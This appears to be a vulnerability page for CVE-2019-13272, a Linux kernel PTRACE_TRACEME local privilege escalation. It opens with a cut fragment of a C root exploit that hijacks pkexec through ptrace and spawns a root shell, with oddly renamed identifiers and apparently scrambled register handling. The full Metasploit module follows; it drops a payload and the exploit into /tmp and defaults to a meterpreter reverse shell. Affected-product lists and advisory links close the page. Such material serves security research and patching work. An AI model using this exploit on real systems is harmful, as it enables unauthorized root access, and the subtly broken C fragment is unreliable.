prctl(PR_SET_PDEATHSIG, SIGKILL); eff(dup2(fd, 42)); int proc_fd = eff(open(tdisp("/proc/%d/status", middle), O_RDONLY)); char *threadv = tdisp("\nUid:\t%d\t0\t", getuid()); eff(ptrace(PTRACE_TRACEME, 0, NULL, NULL)); execl(path_exec, basename(path_exec), NULL); while (1) { char overlayfs[1000]; ssize_t buflen = eff(pread(proc_fd, overlayfs, sizeof(overlayfs)-1, 0)); overlayfs[buflen] = '\0'; if (strstr(overlayfs, threadv)) break; } dprintf("SUID execution failed."); exit(EXIT_FAILURE); } eff(dup2(fd, 0)); eff(dup2(trace_align[1], 1)); struct passwd *pw = getpwuid(getuid()); if (pw == NULL) { dprintf("err: username invalid/failed to fetch username"); exit(EXIT_FAILURE); } mid_succ = 1; execl(path_exec, basename(path_exec), "--user", pw->pw_name, path_doublealign, "--help", NULL); mid_succ = 0; dprintf("err: pkexec execution failed."); exit(EXIT_FAILURE); } static int timeexecbuffer(pid_t pid, int exec_fd, char *arg0) { struct user_regs_struct regs; struct exeio exev = { .iov_base = &regs, .iov_len = sizeof(regs) }; eff(ptrace(PTRACE_SYSCALL, pid, 0, NULL)); eff(waitpid(pid, &pipe_stat, 0)); eff(ptrace(PTRACE_GETREGSET, pid, NT_PRSTATUS, &exev)); unsigned long inject_surface = (regs.rsp - 0x1000) & ~0xfffUL; struct injected_page { unsigned long inj_arse[2]; unsigned long environment[1]; char arg0[8]; char path[1]; } ipage = { .inj_arse = { inject_surface + offsetof(struct injected_page, arg0) } }; strcpy(ipage.arg0, arg0); for (int i = 0; i < sizeof(ipage)/sizeof(long); i++) { unsigned long pro_d = ((unsigned long *)&ipage)[i]; eff(ptrace(PTRACE_POKETEXT, pid, inject_surface + i * sizeof(long), (void*)pro_d)); } eff(ptrace(PTRACE_SETREGSET, pid, NT_PRSTATUS, &exev)); eff(ptrace(PTRACE_DETACH, pid, 0, NULL)); eff(waitpid(pid, &pipe_stat, 0)); regs.orig_rax = __NR_execveat; regs.rdi = exec_fd; regs.rsi = inject_surface + offsetof(struct injected_page, path); regs.rdx = inject_surface + offsetof(struct injected_page, inj_arse); regs.r10 = inject_surface + offsetof(struct injected_page, environment); regs.r8 = AT_EMPTY_PATH; } static int stag_2(void) { pid_t child = eff(waitpid(-1, &pipe_stat, 0)); timeexecbuffer(child, 42, "stage3"); return 0; } static int sh_spawn(void) { eff(setresgid(0, 0, 0)); eff(setresuid(0, 0, 0)); execlp(term_sh, basename(term_sh), NULL); dprintf("err: Shell spawn unsuccessful.", term_sh); exit(EXIT_FAILURE); } static int check_env(void) { const char* xdg_session = getenv("XDG_SESSION_ID"); dprintf("accessing variables...\n"); if (stat(path_action, &st) != 0) { dprintf("err: pkaction not found at %s.", path_action); exit(EXIT_FAILURE); } if (system("/bin/loginctl --no-ask-password show-session $XDG_SESSION_ID | /bin/grep Remote=no >>/dev/null 2>>/dev/null") != 0) { dprintf("warn: PolKit agent not found.\n"); return 1; } if (stat("/usr/sbin/getsebool", &st) == 0) { if (system("/usr/sbin/getsebool deny_ptrace 2>1 | /bin/grep -q on") == 0) { dprintf("warn: [deny_ptrace] is enabled.\n"); return 1; } } if (xdg_session == NULL) { dprintf("warn: $XDG_SESSION_ID is not set.\n"); return 1; } if (stat(path_exec, &st) != 0) { dprintf("err: pkexec not found at %s.", path_exec); exit(EXIT_FAILURE); } dprintf("execution has reached EOP.\n"); return 0; } int trunkh() { char cmd[1024]; snprintf(cmd, sizeof(cmd), "%s --verbose", path_action); FILE *fp; fp = popen(cmd, "r"); if (fp == NULL) { dprintf("err: Failed to run %s.\n", cmd); exit(EXIT_FAILURE); } char line[1024]; char buffer[2048]; int helper_index = 0; int useful_action = 0; static const char *threadv = "org.freedesktop.policykit.exec.path -> "; int needle_length = strlen(threadv); while (fgets(line, sizeof(line)-1, fp) != NULL) { if (strstr(line, "implicit active:")) { if (strstr(line, "yes")) { useful_action = 1; } continue; } if (useful_action == 0) continue; useful_action = 0; int length = strlen(line); char* found = memmem(&line[0], length, threadv, needle_length); if (found == NULL) continue; memset(buffer, 0, sizeof(buffer)); for (int i = 0; found[needle_length + i] != '\n'; i++) { if (i >= sizeof(buffer)-1) continue; buffer[i] = found[needle_length + i]; } if (stat(&buffer[0], &st) != 0) continue; if (strstr(&buffer[0], "/xf86-video-intel-backlight-helper") != 0 || strstr(&buffer[0], "/cpugovctl") != 0 || strstr(&buffer[0], "/package-system-locked") != 0 || strstr(&buffer[0], "/cddistupgrader") != 0) { dprintf("blacklisted thread helper ignored: %s\n", &buffer[0]); continue; } trunk[helper_index] = strndup(&buffer[0], strlen(buffer)); helper_index++; if (helper_index >= sizeof(trunk)/sizeof(trunk[0])) break; } pclose(fp); return 0; } int root_ptraceme() { dprintf("helper initiated: %s\n", path_doublealign); eff(pipe2(trace_align, O_CLOEXEC|O_DIRECT)); eff(fcntl(trace_align[0], F_SETPIPE_SZ, 0x1000)); char overlayfs = 0; eff(write(trace_align[1], &overlayfs, 1)); dprintf("SUID process is being initiated(%s) ...\n", path_exec); static char stackv[1024*1024]; pid_t midpid = eff(clone(middle_main, stackv+sizeof(stackv), CLONE_VM|CLONE_VFORK|SIGCHLD, NULL)); if (!mid_succ) return 1; while (1) { int fd = open(tdisp("/proc/%d/comm", midpid), O_RDONLY); char overlayfs[16]; int buflen = eff(read(fd, overlayfs, sizeof(overlayfs)-1)); overlayfs[buflen] = '\0'; *strchrnul(overlayfs, '\n') = '\0'; if (strncmp(overlayfs, basename(path_doublealign), 15) == 0) break; usleep(100000); } dprintf("midpid is being traced...\n"); eff(ptrace(PTRACE_ATTACH, midpid, 0, NULL)); eff(waitpid(midpid, &pipe_stat, 0)); dprintf("midpid attached.\n"); timeexecbuffer(midpid, 0, "stage2"); exit(EXIT_SUCCESS); } int main(int argc, char **inj_arse) { if (strcmp(inj_arse[0], "stage2") == 0) return stag_2(); if (strcmp(inj_arse[0], "stage3") == 0) return sh_spawn(); dprintf("Welcome to your Arsenal!\n"); check_env(); if (argc > 1 && strcmp(inj_arse[1], "check") == 0) { exit(0); } dprintf("efficient trunk is being searched...\n"); trunkh(); for (int i=0; i<sizeof(trunk)/sizeof(trunk[0]); i++) { if (trunk[i] == NULL) break; if (stat(trunk[i], &st) == 0) { path_doublealign = trunk[i]; root_ptraceme(); } } dprintf("familiar trunks are been searched ...\n"); for (int i=0; i<sizeof(trunks_rec)/sizeof(trunks_rec[0]); i++) { if (stat(trunks_rec[i], &st) == 0) { path_doublealign = trunks_rec[i]; dprintf("trunk helper found: %s\n", path_doublealign); root_ptraceme(); } } return 0; }
Exploit Database EDB-ID : 47543

Publication date : 2019-10-23 22h00 +00:00
Author : Metasploit
EDB Verified : Yes

## # This module requires Metasploit: https://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## class MetasploitModule < Msf::Exploit::Local Rank = ExcellentRanking include Msf::Post::File include Msf::Post::Linux::Priv include Msf::Post::Linux::Kernel include Msf::Post::Linux::System include Msf::Post::Linux::Compile include Msf::Exploit::EXE include Msf::Exploit::FileDropper def initialize(info = {}) super(update_info(info, 'Name' => 'Linux Polkit pkexec helper PTRACE_TRACEME local root exploit', 'Description' => %q{ This module exploits an issue in ptrace_link in kernel/ptrace.c before Linux kernel 5.1.17. This issue can be exploited from a Linux desktop terminal, but not over an SSH session, as it requires execution from within the context of a user with an active Polkit agent. In the Linux kernel before 5.1.17, ptrace_link in kernel/ptrace.c mishandles the recording of the credentials of a process that wants to create a ptrace relationship, which allows local users to obtain root access by leveraging certain scenarios with a parent-child process relationship, where a parent drops privileges and calls execve (potentially allowing control by an attacker). One contributing factor is an object lifetime issue (which can also cause a panic). Another contributing factor is incorrect marking of a ptrace relationship as privileged, which is exploitable through (for example) Polkit's pkexec helper with PTRACE_TRACEME. }, 'License' => MSF_LICENSE, 'Author' => [ 'Jann Horn', # Discovery and exploit 'bcoles', # Metasploit module 'timwr', # Metasploit module ], 'References' => [ ['CVE', '2019-13272'], ['EDB', '47133'], ['PACKETSTORM', '153663'], ['URL', 'https://github.com/bcoles/kernel-exploits/tree/master/CVE-2019-13272'], ['URL', 'https://bugs.chromium.org/p/project-zero/issues/detail?id=1903'], ], 'SessionTypes' => [ 'shell', 'meterpreter' ], 'Platform' => [ 'linux' ], 'Arch' => [ ARCH_X64 ], 'Targets' => [[ 'Auto', {} ]], 'DefaultOptions' => { 'Payload' => 'linux/x64/meterpreter/reverse_tcp', 'PrependFork' => true, }, 'DisclosureDate' => 'Jul 4 2019')) register_advanced_options [ OptBool.new('ForceExploit', [false, 'Override check result', false]), OptString.new('WritableDir', [ true, 'A directory where we can write files', '/tmp' ]) ] end def check # Introduced in 4.10, but also backported # Patched in 4.4.185, 4.9.185, 4.14.133, 4.19.58, 5.1.17 release = kernel_release v = Gem::Version.new release.split('-').first if v >= Gem::Version.new('5.1.17') || v < Gem::Version.new('3') vprint_error "Kernel version #{release} is not vulnerable" return CheckCode::Safe end vprint_good "Kernel version #{release} appears to be vulnerable" unless command_exists? 'pkexec' vprint_error 'pkexec is not installed' return CheckCode::Safe end vprint_good 'pkexec is installed' arch = kernel_hardware unless arch.include? 'x86_64' vprint_error "System architecture #{arch} is not supported" return CheckCode::Safe end vprint_good "System architecture #{arch} is supported" loginctl_output = cmd_exec('loginctl --no-ask-password show-session "$XDG_SESSION_ID" | grep Remote') if loginctl_output =~ /Remote=yes/ print_warning 'This is exploit requires a valid policykit session (it cannot be executed over ssh)' return CheckCode::Safe end CheckCode::Appears end def exploit if is_root? && !datastore['ForceExploit'] fail_with Failure::BadConfig, 'Session already has root privileges. Set ForceExploit to override.' end unless check == CheckCode::Appears unless datastore['ForceExploit'] fail_with Failure::NotVulnerable, 'Target is not vulnerable. Set ForceExploit to override.' end print_warning 'Target does not appear to be vulnerable' end unless writable? datastore['WritableDir'] fail_with Failure::BadConfig, "#{datastore['WritableDir']} is not writable" end payload_file = "#{datastore['WritableDir']}/.#{Rex::Text.rand_text_alpha_lower(6..12)}" upload_and_chmodx(payload_file, generate_payload_exe) register_file_for_cleanup(payload_file) exploit_file = "#{datastore['WritableDir']}/.#{Rex::Text.rand_text_alpha_lower(6..12)}" if live_compile? vprint_status 'Live compiling exploit on system...' upload_and_compile exploit_file, exploit_data('CVE-2019-13272', 'poc.c') else vprint_status 'Dropping pre-compiled exploit on system...' upload_and_chmodx exploit_file, exploit_data('CVE-2019-13272', 'exploit') end register_file_for_cleanup(exploit_file) print_status("Executing exploit '#{exploit_file}'") result = cmd_exec("echo #{payload_file} | #{exploit_file}") print_status("Exploit result:\n#{result}") end end

Products Mentioned

Configuraton 0

Linux>>Linux_kernel >> Version From (including) 3.16.52 To (excluding) 3.16.71

Linux>>Linux_kernel >> Version From (including) 4.1.39 To (excluding) 4.2

Linux>>Linux_kernel >> Version From (including) 4.4.40 To (excluding) 4.4.185

Linux>>Linux_kernel >> Version From (including) 4.8.16 To (excluding) 4.9

Linux>>Linux_kernel >> Version From (including) 4.9.1 To (excluding) 4.9.185

Linux>>Linux_kernel >> Version From (including) 4.10 To (excluding) 4.14.133

Linux>>Linux_kernel >> Version From (including) 4.15 To (excluding) 4.19.58

Linux>>Linux_kernel >> Version From (including) 4.20 To (excluding) 5.1.17

Configuraton 0

Debian>>Debian_linux >> Version 8.0

Debian>>Debian_linux >> Version 9.0

Debian>>Debian_linux >> Version 10.0

Configuraton 0

Fedoraproject>>Fedora >> Version 29

Configuraton 0

Canonical>>Ubuntu_linux >> Version 16.04

Canonical>>Ubuntu_linux >> Version 18.04

Canonical>>Ubuntu_linux >> Version 19.04

Configuraton 0

Redhat>>Enterprise_linux >> Version 7.0

Redhat>>Enterprise_linux >> Version 8.0

Redhat>>Enterprise_linux_for_arm_64 >> Version 7.0_aarch64

Redhat>>Enterprise_linux_for_ibm_z_systems >> Version 7.0_s390x

Redhat>>Enterprise_linux_for_real_time >> Version 8

Redhat>>Enterprise_linux_for_real_time_for_nfv >> Version 8.0

Redhat>>Enterprise_linux_for_real_time_for_nfv_tus >> Version 8.2

Redhat>>Enterprise_linux_for_real_time_for_nfv_tus >> Version 8.4

Redhat>>Enterprise_linux_for_real_time_for_nfv_tus >> Version 8.6

Redhat>>Enterprise_linux_for_real_time_for_nfv_tus >> Version 8.8

Redhat>>Enterprise_linux_for_real_time_tus >> Version 8.2

Redhat>>Enterprise_linux_for_real_time_tus >> Version 8.4

Redhat>>Enterprise_linux_for_real_time_tus >> Version 8.6

Redhat>>Enterprise_linux_for_real_time_tus >> Version 8.8

Configuraton 0

Netapp>>Aff_a700s_firmware >> Version -

Netapp>>Aff_a700s >> Version -

Configuraton 0

Netapp>>H410c_firmware >> Version -

Netapp>>H410c >> Version -

Configuraton 0

Netapp>>H610s_firmware >> Version -

Netapp>>H610s >> Version -

Configuraton 0

Netapp>>Active_iq_unified_manager >> Version -

Netapp>>E-series_performance_analyzer >> Version -

Netapp>>E-series_santricity_os_controller >> Version From (including) 11.0.0 To (including) 11.60.3

Netapp>>Hci_management_node >> Version -

Netapp>>Service_processor >> Version -

Netapp>>Solidfire >> Version -

Netapp>>Steelstore_cloud_integrated_storage >> Version -

Netapp>>Hci_compute_node >> Version -

References

https://www.debian.org/security/2019/dsa-4484
Tags : vendor-advisory, x_refsource_DEBIAN
https://seclists.org/bugtraq/2019/Jul/30
Tags : mailing-list, x_refsource_BUGTRAQ
https://seclists.org/bugtraq/2019/Jul/33
Tags : mailing-list, x_refsource_BUGTRAQ
https://access.redhat.com/errata/RHSA-2019:2405
Tags : vendor-advisory, x_refsource_REDHAT
https://access.redhat.com/errata/RHSA-2019:2411
Tags : vendor-advisory, x_refsource_REDHAT
https://usn.ubuntu.com/4093-1/
Tags : vendor-advisory, x_refsource_UBUNTU
https://usn.ubuntu.com/4094-1/
Tags : vendor-advisory, x_refsource_UBUNTU
https://usn.ubuntu.com/4095-1/
Tags : vendor-advisory, x_refsource_UBUNTU
https://usn.ubuntu.com/4117-1/
Tags : vendor-advisory, x_refsource_UBUNTU
https://usn.ubuntu.com/4118-1/
Tags : vendor-advisory, x_refsource_UBUNTU
https://access.redhat.com/errata/RHSA-2019:2809
Tags : vendor-advisory, x_refsource_REDHAT